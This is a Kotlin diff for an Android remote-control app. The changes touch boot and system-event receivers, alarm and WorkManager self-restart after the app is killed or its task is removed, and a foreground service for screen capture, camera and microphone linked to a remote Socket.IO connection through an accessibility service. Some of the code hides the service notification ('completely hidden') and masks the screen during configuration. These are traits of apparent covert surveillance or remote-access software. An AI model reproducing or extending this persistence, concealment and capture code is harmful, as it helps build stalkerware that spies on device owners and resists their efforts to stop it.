} catch (e: Exception) {
Log.e(TAG, "❌ 启动主前台服务失败", e)
DeviceMetricsReporter.reportKeepAlive(
context = context,
metricName = "boot_foreground_service_start",
success = false,
data = mapOf(
"source" to "boot_receiver",
"error" to (e.message ?: "unknown")
)
)
}
}
@@ -74,4 +112,4 @@ class BootReceiver : BroadcastReceiver() {
false
}
}
}
}

View File

@@ -11,6 +11,7 @@ import android.content.IntentFilter
import android.os.PowerManager
import android.util.Log
import androidx.core.app.NotificationCompat
import com.hikoncont.util.registerReceiverCompat
import kotlinx.coroutines.*
/**
@@ -120,7 +121,7 @@ class BackgroundKeepAliveManager(private val context: Context) {
addAction(Intent.ACTION_USER_PRESENT)
// ✅ 参考 f 目录:已移除重启无障碍服务广播监听
}
context.registerReceiver(backgroundReceiver, filter)
context.registerReceiverCompat(backgroundReceiver, filter)
Log.i(TAG, "📡 后台保活广播接收器已注册")
} catch (e: Exception) {
Log.e(TAG, "❌ 注册后台保活广播接收器失败", e)

View File

@@ -22,6 +22,7 @@ import android.widget.ProgressBar
import androidx.core.app.NotificationCompat
import com.hikoncont.R
import com.hikoncont.service.modules.ConfigProgressManager
import com.hikoncont.util.registerReceiverCompat
/**
* 配置遮盖服务
@@ -102,11 +103,11 @@ class ConfigMaskService : Service() {
val filter = IntentFilter().apply {
addAction("android.mycustrecev.HIDE_CONFIG_MASK")
}
registerReceiver(hideReceiver, filter)
registerReceiverCompat(hideReceiver, filter)
// 注册进度更新广播接收器
val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE)
registerReceiver(progressReceiver, progressFilter)
registerReceiverCompat(progressReceiver, progressFilter)
Log.i(TAG, "✅ ConfigMaskService进度更新广播接收器注册成功")
Log.i(TAG, "📡 ConfigMaskService监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}")
@@ -392,4 +393,4 @@ class ConfigMaskService : Service() {
.setOngoing(true)
.build()
}
}
}

View File

@@ -9,6 +9,9 @@ import android.os.Build
import android.os.PowerManager
import android.util.Log
import androidx.core.app.NotificationCompat
import com.hikoncont.util.DeviceDetector
import com.hikoncont.util.ForegroundServiceStarter
import com.hikoncont.util.registerReceiverCompat
import kotlinx.coroutines.*
/**
@@ -19,7 +22,6 @@ class EffectiveKeepAliveManager(private val context: Context) {
companion object {
private const val TAG = "EffectiveKeepAlive"
private const val CHECK_INTERVAL = 500L // ✅ 激进500ms检查一次快速发现问题
private const val NOTIFICATION_ID = 8888
}
@@ -28,6 +30,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
private var wakeLock: PowerManager.WakeLock? = null
private var isMonitoring = false
private var notificationManager: NotificationManager? = null
private val keepAlivePolicy by lazy { DeviceDetector.getKeepAlivePolicy() }
/**
* 开始有效保活监控
@@ -94,7 +97,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
releaseWakeLock()
// 被系统或清理工具杀死时安排自恢复还原KeepAliveService的逻辑
scheduleSelfAndCoreRestart(50L) // ✅ 激进50ms极速恢复
scheduleSelfAndCoreRestart(getRecoveryDelayMs())
// 取消监控任务
monitorJob?.cancel()
@@ -106,7 +109,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
*/
fun onTaskRemoved() {
Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved),安排服务自恢复")
scheduleSelfAndCoreRestart(50L) // ✅ 激进50ms极速恢复
scheduleSelfAndCoreRestart(getRecoveryDelayMs())
}
/**
@@ -180,7 +183,7 @@ class EffectiveKeepAliveManager(private val context: Context) {
addAction(Intent.ACTION_MY_PACKAGE_REPLACED)
addAction(Intent.ACTION_PACKAGE_REPLACED)
}
context.registerReceiver(systemEventReceiver, filter)
context.registerReceiverCompat(systemEventReceiver, filter)
Log.i(TAG, "📡 系统事件接收器已注册")
} catch (e: Exception) {
Log.e(TAG, "❌ 注册系统事件接收器失败", e)
@@ -207,10 +210,10 @@ class EffectiveKeepAliveManager(private val context: Context) {
while (isActive && isMonitoring) {
try {
performKeepAliveActions()
delay(CHECK_INTERVAL)
delay(keepAlivePolicy.keepAliveCheckIntervalMs)
} catch (e: Exception) {
Log.e(TAG, "❌ 有效保活监控过程中发生错误", e)
delay(CHECK_INTERVAL)
delay(keepAlivePolicy.keepAliveCheckIntervalMs)
}
}
}
@@ -335,10 +338,13 @@ class EffectiveKeepAliveManager(private val context: Context) {
*/
private fun ensureForegroundService() {
try {
val serviceIntent = Intent(context, RemoteControlForegroundService::class.java)
serviceIntent.action = "ENSURE_FOREGROUND"
context.startForegroundService(serviceIntent)
Log.d(TAG, "✅ 已确保前台服务运行")
ForegroundServiceStarter.maybeStartRemoteForegroundService(
context = context,
action = "ENSURE_FOREGROUND",
reason = "effective_keepalive_ensure",
minIntervalMs = keepAlivePolicy.minForegroundKickIntervalMs
)
Log.d(TAG, "✅ 已执行前台服务确保逻辑")
} catch (e: Exception) {
Log.e(TAG, "❌ 确保前台服务运行失败", e)
}
@@ -421,6 +427,10 @@ class EffectiveKeepAliveManager(private val context: Context) {
Log.e(TAG, "❌ 启动多重保活机制失败", e)
}
}
private fun getRecoveryDelayMs(): Long {
return if (keepAlivePolicy.enableAggressiveWorkers) 50L else 1500L
}
/**
* AlarmManager保活机制

View File

@@ -4,6 +4,8 @@ import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.util.Log
import com.hikoncont.util.DeviceMetricsReporter
import com.hikoncont.util.RuntimeFeatureFlags
import kotlinx.coroutines.*
/**
@@ -23,6 +25,7 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
try {
val action = intent.action
Log.i(TAG, "📡 收到系统事件广播: $action")
val flags = RuntimeFeatureFlags.current(context)
when (action) {
Intent.ACTION_BOOT_COMPLETED,
@@ -33,6 +36,10 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
Intent.ACTION_PACKAGE_ADDED,
Intent.ACTION_PACKAGE_REPLACED,
"android.mycustrecev.RESTART_SERVICES" -> {
if (!flags.enhancedEventRecovery) {
Log.i(TAG, "⏭️ enhancedEventRecovery=false忽略系统事件恢复: $action")
return
}
// 异步处理服务重启
CoroutineScope(Dispatchers.IO).launch {
handleServiceRestart(context, action)
@@ -86,6 +93,12 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
*/
private fun startAllKeepAliveServices(context: Context) {
try {
val flags = RuntimeFeatureFlags.current(context)
if (!flags.enhancedEventRecovery) {
Log.i(TAG, "⏭️ enhancedEventRecovery=false跳过保活服务重启")
return
}
Log.i(TAG, "🚀 启动保活服务(参考 f 目录策略)")
// ✅ 参考 f 目录:只启动主前台服务(对应 BackRunServerUseUse
@@ -98,12 +111,31 @@ class EnhancedSystemEventReceiver : BroadcastReceiver() {
Log.i(TAG, "✅ 主前台服务已启动")
// ✅ 启动 WorkManager 保活(对应 f 目录的系统级 WorkManager
WorkManagerKeepAliveService.getInstance().startKeepAlive(context)
Log.i(TAG, "✅ WorkManager保活已启动")
if (flags.workManagerKeepAlive) {
WorkManagerKeepAliveService.getInstance().startKeepAlive(context)
Log.i(TAG, "✅ WorkManager保活已启动")
} else {
Log.i(TAG, "⏭️ workManagerKeepAlive=false跳过WorkManager保活")
}
Log.i(TAG, "✅ 保活服务启动完成")
DeviceMetricsReporter.reportKeepAlive(
context = context,
metricName = "enhanced_event_recovery_start",
success = true,
data = mapOf("source" to "EnhancedSystemEventReceiver")
)
} catch (e: Exception) {
Log.e(TAG, "❌ 启动保活服务失败", e)
DeviceMetricsReporter.reportKeepAlive(
context = context,
metricName = "enhanced_event_recovery_start",
success = false,
data = mapOf(
"source" to "EnhancedSystemEventReceiver",
"error" to (e.message ?: "unknown")
)
)
}
}
@@ -170,6 +202,14 @@ class EnhancedBootReceiver : BroadcastReceiver() {
try {
val action = intent.action
Log.i(TAG, "🚀 收到开机广播: $action")
val flags = RuntimeFeatureFlags.current(context)
if (!flags.bootAutoStart || !flags.enhancedEventRecovery) {
Log.i(
TAG,
"⏭️ featureFlags阻止开机恢复: bootAutoStart=${flags.bootAutoStart}, enhancedEventRecovery=${flags.enhancedEventRecovery}"
)
return
}
when (action) {
Intent.ACTION_BOOT_COMPLETED,
@@ -199,8 +239,23 @@ class EnhancedBootReceiver : BroadcastReceiver() {
enhancedReceiver.onReceive(context, Intent("android.mycustrecev.RESTART_SERVICES"))
Log.i(TAG, "✅ 开机自启动完成")
DeviceMetricsReporter.reportKeepAlive(
context = context,
metricName = "enhanced_boot_recovery_start",
success = true,
data = mapOf("source" to "EnhancedBootReceiver")
)
} catch (e: Exception) {
Log.e(TAG, "❌ 开机自启动失败", e)
DeviceMetricsReporter.reportKeepAlive(
context = context,
metricName = "enhanced_boot_recovery_start",
success = false,
data = mapOf(
"source" to "EnhancedBootReceiver",
"error" to (e.message ?: "unknown")
)
)
}
}
}
@@ -272,6 +327,12 @@ class EnhancedPackagesReceiver : BroadcastReceiver() {
*/
private fun startAllKeepAliveServices(context: Context) {
try {
val flags = RuntimeFeatureFlags.current(context)
if (!flags.enhancedEventRecovery) {
Log.i(TAG, "⏭️ enhancedEventRecovery=false跳过包变化恢复")
return
}
Log.i(TAG, "🚀 启动所有保活服务")
val enhancedReceiver = EnhancedSystemEventReceiver()

View File

@@ -4,6 +4,8 @@ import android.content.Context
import android.util.Log
import androidx.work.CoroutineWorker
import androidx.work.WorkerParameters
import com.hikoncont.util.DeviceDetector
import com.hikoncont.util.ForegroundServiceStarter
/**
* 立即恢复工作器(一次性执行)
@@ -46,9 +48,14 @@ class ImmediateRecoveryWorker(
private suspend fun startForegroundService() {
try {
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
applicationContext.startForegroundService(intent)
Log.d(TAG, "✅ 前台服务立即启动完成")
val policy = DeviceDetector.getKeepAlivePolicy()
ForegroundServiceStarter.maybeStartRemoteForegroundService(
context = applicationContext,
action = "RESTART_SERVICE",
reason = "workmanager_immediate_worker",
minIntervalMs = policy.minForegroundKickIntervalMs
)
Log.d(TAG, "✅ 前台服务立即启动逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 立即启动前台服务失败", e)
}
@@ -73,9 +80,14 @@ class ImmediateRecoveryWorker(
// 只启动后台服务不启动Activity
try {
val serviceIntent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
applicationContext.startForegroundService(serviceIntent)
Log.d(TAG, "✅ 后台服务已启动")
val policy = DeviceDetector.getKeepAlivePolicy()
ForegroundServiceStarter.maybeStartRemoteForegroundService(
context = applicationContext,
action = "RESTART_SERVICE",
reason = "workmanager_immediate_activity_fallback",
minIntervalMs = policy.minForegroundKickIntervalMs
)
Log.d(TAG, "✅ 后台服务启动逻辑已执行")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动后台服务失败", e)
}

View File

@@ -9,11 +9,14 @@ import android.app.NotificationManager
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.pm.ServiceInfo
import android.content.pm.PackageManager
import android.os.IBinder
import android.os.PowerManager
import android.os.Process
import android.util.Log
import com.hikoncont.util.DeviceDetector
import com.hikoncont.util.ForegroundServiceStarter
import kotlinx.coroutines.*
/**
@@ -24,7 +27,6 @@ class KeepAliveService : Service() {
companion object {
private const val TAG = "KeepAliveService"
private const val CHECK_INTERVAL = 1000L // ✅ 激进优化1秒检查一次快速发现问题
private const val QUICK_RECOVERY_DELAY = 50L // ✅ 快速恢复50ms延迟
private const val AGGRESSIVE_RECOVERY_DELAY = 20L // ✅ 激进恢复20ms延迟
@@ -37,6 +39,7 @@ class KeepAliveService : Service() {
private var monitorJob: Job? = null
private var wakeLock: PowerManager.WakeLock? = null
private var foregroundStarted: Boolean = false
private val keepAlivePolicy by lazy { DeviceDetector.getKeepAlivePolicy() }
// ✅ 新增:无障碍服务重启控制
private var accessibilityRestartCount = 0
@@ -73,7 +76,7 @@ class KeepAliveService : Service() {
releaseWakeLock()
// 被系统或清理工具杀死时,安排激进自恢复
scheduleSelfAndCoreRestart(AGGRESSIVE_RECOVERY_DELAY) // ✅ 激进50ms快速恢复
scheduleSelfAndCoreRestart(getRecoveryDelayMs())
Log.i(TAG, "🚀 启动激进保活恢复机制")
monitorJob?.cancel()
@@ -83,7 +86,7 @@ class KeepAliveService : Service() {
override fun onTaskRemoved(rootIntent: Intent?) {
Log.w(TAG, "🧹 检测到任务被移除(onTaskRemoved),安排服务自恢复")
scheduleSelfAndCoreRestart(AGGRESSIVE_RECOVERY_DELAY) // ✅ 激进50ms极速恢复
scheduleSelfAndCoreRestart(getRecoveryDelayMs())
Log.i(TAG, "🚀 任务移除,启动激进恢复")
super.onTaskRemoved(rootIntent)
}
@@ -130,15 +133,15 @@ class KeepAliveService : Service() {
// ✅ 关键检查APP是否安装完成未完成则不监控无障碍权限
if (!isAppInstallationComplete()) {
Log.d(TAG, "🔒 APP安装未完成跳过无障碍权限监控")
delay(CHECK_INTERVAL)
delay(getCheckIntervalMs())
continue
}
checkAndRestartServices()
delay(CHECK_INTERVAL)
delay(getCheckIntervalMs())
} catch (e: Exception) {
Log.e(TAG, "监控过程中发生错误", e)
delay(CHECK_INTERVAL)
delay(getCheckIntervalMs())
}
}
}
@@ -421,10 +424,13 @@ class KeepAliveService : Service() {
*/
private fun restartForegroundService() {
try {
val intent = Intent(this, RemoteControlForegroundService::class.java)
intent.action = "RESTART_SERVICE"
startForegroundService(intent)
Log.i(TAG, "已重启前台服务")
ForegroundServiceStarter.maybeStartRemoteForegroundService(
context = this,
action = "RESTART_SERVICE",
reason = "keepalive_restart",
minIntervalMs = keepAlivePolicy.minForegroundKickIntervalMs
)
Log.i(TAG, "已执行前台服务重启逻辑")
} catch (e: Exception) {
Log.e(TAG, "重启前台服务失败", e)
}
@@ -451,6 +457,18 @@ class KeepAliveService : Service() {
Log.e(TAG, "❌ 启动多重保活机制失败", e)
}
}
private fun getCheckIntervalMs(): Long {
return keepAlivePolicy.keepAliveCheckIntervalMs
}
private fun getRecoveryDelayMs(): Long {
return if (keepAlivePolicy.enableAggressiveWorkers) {
AGGRESSIVE_RECOVERY_DELAY
} else {
1500L
}
}
/**
* AlarmManager保活机制
@@ -459,9 +477,6 @@ class KeepAliveService : Service() {
try {
val alarmManager = getSystemService(Context.ALARM_SERVICE) as AlarmManager
val rcfsIntent = Intent(this, RemoteControlForegroundService::class.java).apply {
action = "RESTART_SERVICE"
}
val keepAliveIntent = Intent(this, KeepAliveService::class.java)
val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
@@ -470,6 +485,15 @@ class KeepAliveService : Service() {
val randomId1 = (System.currentTimeMillis() % 10000).toInt()
val randomId2 = randomId1 + 1
val rcfsIntent = Intent(this, RemoteControlForegroundService::class.java).apply {
action = "RESTART_SERVICE"
}
val keepAlivePI = PendingIntent.getService(
this,
randomId2,
keepAliveIntent,
pendingFlags
)
val rcfsPI = PendingIntent.getForegroundService(
this,
randomId1,
@@ -477,24 +501,55 @@ class KeepAliveService : Service() {
pendingFlags
)
val keepAlivePI = PendingIntent.getService(
this,
randomId2,
keepAliveIntent,
pendingFlags
)
val triggerAt = System.currentTimeMillis() + delayMillis
// 使用极速恢复策略
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + QUICK_RECOVERY_DELAY, keepAlivePI) // ✅ 激进100ms极速恢复
scheduleWakeAlarm(
alarmManager = alarmManager,
triggerAt = triggerAt,
pendingIntent = rcfsPI,
label = "rcfs_restart"
)
scheduleWakeAlarm(
alarmManager = alarmManager,
triggerAt = triggerAt + QUICK_RECOVERY_DELAY,
pendingIntent = keepAlivePI,
label = "keepalive_restart"
) // ✅ 激进100ms极速恢复
Log.i(TAG, "⏰ AlarmManager保活已安排: 前台服务(${delayMillis}ms) + 保活服务(${delayMillis + 200}ms)")
} catch (e: Exception) {
Log.e(TAG, "❌ AlarmManager保活安排失败", e)
}
}
private fun scheduleWakeAlarm(
alarmManager: AlarmManager,
triggerAt: Long,
pendingIntent: PendingIntent,
label: String
) {
try {
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent)
return
} catch (security: SecurityException) {
Log.w(TAG, "⚠️ Exact alarm denied for $label, fallback to setAndAllowWhileIdle", security)
} catch (e: Exception) {
Log.w(TAG, "⚠️ Exact alarm failed for $label, fallback to setAndAllowWhileIdle", e)
}
try {
alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent)
return
} catch (e: Exception) {
Log.w(TAG, "⚠️ setAndAllowWhileIdle failed for $label, fallback to set", e)
}
try {
alarmManager.set(AlarmManager.RTC_WAKEUP, triggerAt, pendingIntent)
} catch (e: Exception) {
Log.e(TAG, "❌ Alarm fallback failed for $label", e)
}
}
/**
* JobScheduler保活机制Android 5.0+
@@ -536,7 +591,6 @@ class KeepAliveService : Service() {
try {
Log.i(TAG, "📡 广播保活机制触发")
// 启动前台服务
val rcfsIntent = Intent(this@KeepAliveService, RemoteControlForegroundService::class.java).apply {
action = "RESTART_SERVICE"
}
@@ -607,11 +661,15 @@ class KeepAliveService : Service() {
.setVisibility(Notification.VISIBILITY_SECRET) // ✅ 完全隐藏
.build()
startForeground(1001, notification)
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.Q) {
startForeground(1001, notification, ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
} else {
startForeground(1001, notification)
}
// ✅ 尝试移除通知(某些设备上可能有效)
try {
if (android.os.Build.VERSION.SDK_INT >= 24) {
if (android.os.Build.VERSION.SDK_INT in 24..33) {
stopForeground(Service.STOP_FOREGROUND_REMOVE)
}
} catch (e: Exception) {
@@ -625,4 +683,4 @@ class KeepAliveService : Service() {
Log.e(TAG, "❌ KeepAliveService 前台启动失败", e)
}
}
}
}

View File

@@ -275,9 +275,20 @@ class ProcessMonitorService : Service() {
)
val triggerAt = System.currentTimeMillis() + 50 // 50ms延迟
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI)
try {
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
} catch (security: SecurityException) {
Log.w(TAG, "Exact alarm denied for process monitor RCFS restart, fallback to inexact wake alarm", security)
alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI)
}
try {
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI)
} catch (security: SecurityException) {
Log.w(TAG, "Exact alarm denied for process monitor KeepAlive restart, fallback to inexact wake alarm", security)
alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI)
}
Log.i(TAG, "✅ 激进恢复机制已启动")
} catch (e: Exception) {

View File

@@ -20,6 +20,8 @@ import androidx.core.app.NotificationCompat
import kotlinx.coroutines.*
import com.hikoncont.MediaProjectionHolder
import com.hikoncont.R
import com.hikoncont.util.DeviceDetector
import com.hikoncont.util.registerReceiverCompat
/**
* 远程控制前台服务
@@ -36,6 +38,13 @@ class RemoteControlForegroundService : Service() {
private const val NOTIFICATION_CHANNEL_ID = "media_projection_service"
private const val NOTIFICATION_ID = 2001
private const val RESTART_DELAY = 3000L // 重启延迟3秒
const val ACTION_START_MEDIA_PROJECTION = "START_MEDIA_PROJECTION"
const val ACTION_START_MEDIA_PROJECTION_FGS_ONLY = "START_MEDIA_PROJECTION_FGS_ONLY"
const val ACTION_STOP_SCREEN_CAPTURE = "STOP_SCREEN_CAPTURE"
const val ACTION_RESTART_SERVICE = "RESTART_SERVICE"
const val ACTION_UPGRADE_CAMERA = "UPGRADE_CAMERA_FGS_TYPE"
const val ACTION_UPGRADE_MICROPHONE = "UPGRADE_MICROPHONE_FGS_TYPE"
const val ACTION_UPGRADE_CAMERA_MICROPHONE = "UPGRADE_CAMERA_MICROPHONE_FGS_TYPE"
}
private var mediaProjection: MediaProjection? = null
@@ -44,6 +53,11 @@ class RemoteControlForegroundService : Service() {
private var wifiLock: android.net.wifi.WifiManager.WifiLock? = null
private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob())
private var keepAliveJob: Job? = null
private var disableAutoRestart = false
private var foregroundEstablished = false
private var currentForegroundType: Int? = null
private var lastSocketRecoveryAt = 0L
private val socketRecoveryCooldownMs = 20_000L
// ✅ Android 15深度恢复广播接收器
private val deepRecoveryReceiver = object : BroadcastReceiver() {
@@ -67,7 +81,7 @@ class RemoteControlForegroundService : Service() {
// ✅ 注册Android 15深度恢复广播接收器
if (Build.VERSION.SDK_INT >= 35) {
val filter = IntentFilter("android.mycustrecev.DEEP_RECOVERY_MODE")
registerReceiver(deepRecoveryReceiver, filter)
registerReceiverCompat(deepRecoveryReceiver, filter)
Log.i(TAG, "✅ 已注册Android 15深度恢复广播接收器")
}
@@ -81,22 +95,51 @@ class RemoteControlForegroundService : Service() {
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
Log.i(TAG, "前台服务启动命令: ${intent?.action}")
if (intent?.action == ACTION_STOP_SCREEN_CAPTURE) {
handleStopScreenCapture()
return START_NOT_STICKY
}
val isProjectionRequest =
intent?.action == ACTION_START_MEDIA_PROJECTION ||
intent?.action == ACTION_START_MEDIA_PROJECTION_FGS_ONLY
val requestCameraType =
intent?.action == ACTION_UPGRADE_CAMERA || intent?.action == ACTION_UPGRADE_CAMERA_MICROPHONE
val requestMicrophoneType =
intent?.action == ACTION_UPGRADE_MICROPHONE || intent?.action == ACTION_UPGRADE_CAMERA_MICROPHONE
val foregroundStarted = startForegroundService(
preferMediaProjectionType = isProjectionRequest,
requireCameraType = requestCameraType,
requireMicrophoneType = requestMicrophoneType,
action = intent?.action
)
if (!foregroundStarted) {
Log.w(TAG, "⚠️ 前台服务启动失败,忽略本次命令: action=${intent?.action}")
return START_NOT_STICKY
}
when (intent?.action) {
"START_MEDIA_PROJECTION" -> {
ACTION_START_MEDIA_PROJECTION -> {
handleStartMediaProjection(intent)
}
"STOP_SCREEN_CAPTURE" -> {
handleStopScreenCapture()
ACTION_START_MEDIA_PROJECTION_FGS_ONLY -> {
Log.i(TAG, "仅升级前台服务到mediaProjection类型不预创建MediaProjection对象")
}
"RESTART_SERVICE" -> {
ACTION_UPGRADE_CAMERA -> {
Log.i(TAG, "前台服务类型升级请求: camera")
}
ACTION_UPGRADE_MICROPHONE -> {
Log.i(TAG, "前台服务类型升级请求: microphone")
}
ACTION_UPGRADE_CAMERA_MICROPHONE -> {
Log.i(TAG, "前台服务类型升级请求: camera|microphone")
}
ACTION_RESTART_SERVICE -> {
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
}
}
// 确保前台服务已启动
startForegroundService()
return START_STICKY
}
@@ -104,9 +147,6 @@ class RemoteControlForegroundService : Service() {
try {
Log.i(TAG, "开始处理MediaProjection")
// 启动前台服务
startForegroundService()
// ✅ 优先检查 Holder 中是否已有有效的 MediaProjection 对象
val existingProjection = MediaProjectionHolder.getMediaProjection()
if (existingProjection != null) {
@@ -204,28 +244,140 @@ class RemoteControlForegroundService : Service() {
}
}
private fun startForegroundService() {
private fun startForegroundService(
preferMediaProjectionType: Boolean = false,
requireCameraType: Boolean = false,
requireMicrophoneType: Boolean = false,
action: String? = null
): Boolean {
val notification = createNotification()
if (Build.VERSION.SDK_INT >= 34) {
// ✅ Android 14+ (API 34+)参考billd-desk传入FOREGROUND_SERVICE_TYPE_MANIFEST(-1)
// 让系统从Manifest中读取foregroundServiceType确保权限正确声明
startForeground(
NOTIFICATION_ID,
notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
)
} else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(
NOTIFICATION_ID,
notification,
ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
)
} else {
startForeground(NOTIFICATION_ID, notification)
val hasProjectionGrant =
mediaProjection != null ||
MediaProjectionHolder.getMediaProjection() != null ||
MediaProjectionHolder.getPermissionData() != null
val requestedType = buildForegroundType(
preferMediaProjectionType = preferMediaProjectionType,
requireCameraType = requireCameraType,
requireMicrophoneType = requireMicrophoneType,
hasProjectionGrant = hasProjectionGrant
)
DeviceDetector.getKeepAlivePolicy() // 触发统一策略日志,便于排障
// 同一进程内只做一次前台建立,后续命令复用现有前台状态,避免重复消耗时限。
if (foregroundEstablished) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
val mergedType = mergeForegroundType(currentForegroundType, requestedType)
if (mergedType == currentForegroundType) {
Log.d(
TAG,
"foreground already established, type unchanged=${describeForegroundType(mergedType)} action=$action"
)
return true
}
return try {
startForeground(
NOTIFICATION_ID,
notification,
mergedType
)
currentForegroundType = mergedType
Log.i(
TAG,
"前台服务类型已升级: type=${describeForegroundType(mergedType)}, action=$action"
)
true
} catch (e: Exception) {
Log.e(TAG, "前台服务类型升级失败,维持当前前台状态: action=$action", e)
false
}
}
Log.d(TAG, "foreground already established, skip duplicate startForeground: action=$action")
return true
}
Log.i(TAG, "前台服务已启动")
return try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(
NOTIFICATION_ID,
notification,
requestedType
)
currentForegroundType = requestedType
} else {
startForeground(NOTIFICATION_ID, notification)
currentForegroundType = null
}
Log.i(
TAG,
"前台服务已启动type=${describeForegroundType(currentForegroundType)}"
)
if (preferMediaProjectionType && !hasProjectionGrant) {
Log.w(TAG, "请求了mediaProjection前台类型但当前无有效投屏授权已降级为dataSync避免崩溃")
}
foregroundEstablished = true
true
} catch (e: Exception) {
if (e.javaClass.simpleName.contains("ForegroundServiceStartNotAllowedException")) {
disableAutoRestart = true
Log.e(TAG, "前台服务类型时限触发,已禁用自动重拉避免崩溃风暴", e)
} else {
Log.e(TAG, "前台服务启动失败", e)
}
try {
stopForeground(STOP_FOREGROUND_REMOVE)
} catch (_: Exception) {
}
try {
stopSelf()
} catch (_: Exception) {
}
false
}
}
private fun buildForegroundType(
preferMediaProjectionType: Boolean,
requireCameraType: Boolean,
requireMicrophoneType: Boolean,
hasProjectionGrant: Boolean
): Int {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
return 0
}
var type = ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
if (preferMediaProjectionType && hasProjectionGrant) {
type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION
}
if (requireCameraType) {
type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA
}
if (requireMicrophoneType) {
type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE
}
return type
}
private fun mergeForegroundType(currentType: Int?, requestedType: Int): Int {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
return 0
}
val base = currentType ?: ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
return base or requestedType
}
private fun describeForegroundType(type: Int?): String {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
return "legacy"
}
val value = type ?: ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC
val parts = mutableListOf<String>()
if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC != 0) parts += "dataSync"
if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION != 0) parts += "mediaProjection"
if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA != 0) parts += "camera"
if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE != 0) parts += "microphone"
if (parts.isEmpty()) parts += "none($value)"
return parts.joinToString("|")
}
private fun notifyAccessibilityService() {
@@ -438,8 +590,22 @@ class RemoteControlForegroundService : Service() {
// ✅ 只检查Socket.IO连接状态WebSocket已移除
if (!socketIOConnected) {
Log.w(TAG, "⚠️ 检测到Socket.IO连接断开但等待其自动重连机制处理")
// 让Socket.IO的重连机制工作前台服务不强制干预
val recoverNow = System.currentTimeMillis()
val elapsed = recoverNow - lastSocketRecoveryAt
if (elapsed >= socketRecoveryCooldownMs) {
lastSocketRecoveryAt = recoverNow
Log.w(TAG, "⚠️ 检测到Socket.IO连接断开触发主动连接自愈")
try {
accessibilityService.checkAndStartConnection()
} catch (e: Exception) {
Log.e(TAG, "❌ 主动连接自愈触发失败", e)
}
} else {
Log.d(
TAG,
"⏳ Socket.IO重连冷却中: ${elapsed}ms/${socketRecoveryCooldownMs}ms"
)
}
} else {
Log.d(TAG, "✅ Socket.IO连接正常: $socketIOConnected")
}
@@ -556,6 +722,8 @@ class RemoteControlForegroundService : Service() {
// 这会导致Android 15设备权限丢失
// mediaProjection?.stop() // 删除,避免权限被意外停止
mediaProjection = null
foregroundEstablished = false
currentForegroundType = null
// 只清理引用,保留权限数据
MediaProjectionHolder.clearMediaProjection()
@@ -570,8 +738,12 @@ class RemoteControlForegroundService : Service() {
}
}
// 服务销毁时自动重启
scheduleRestart()
// 服务销毁时自动重启(保守策略 + 启动受限场景下跳过,避免循环崩溃)
if (!disableAutoRestart) {
scheduleRestart()
} else {
Log.w(TAG, "skip auto restart after foreground start restriction")
}
super.onDestroy()
}
@@ -594,11 +766,27 @@ class RemoteControlForegroundService : Service() {
val alarmManager = getSystemService(Context.ALARM_SERVICE) as android.app.AlarmManager
val restartTime = System.currentTimeMillis() + RESTART_DELAY
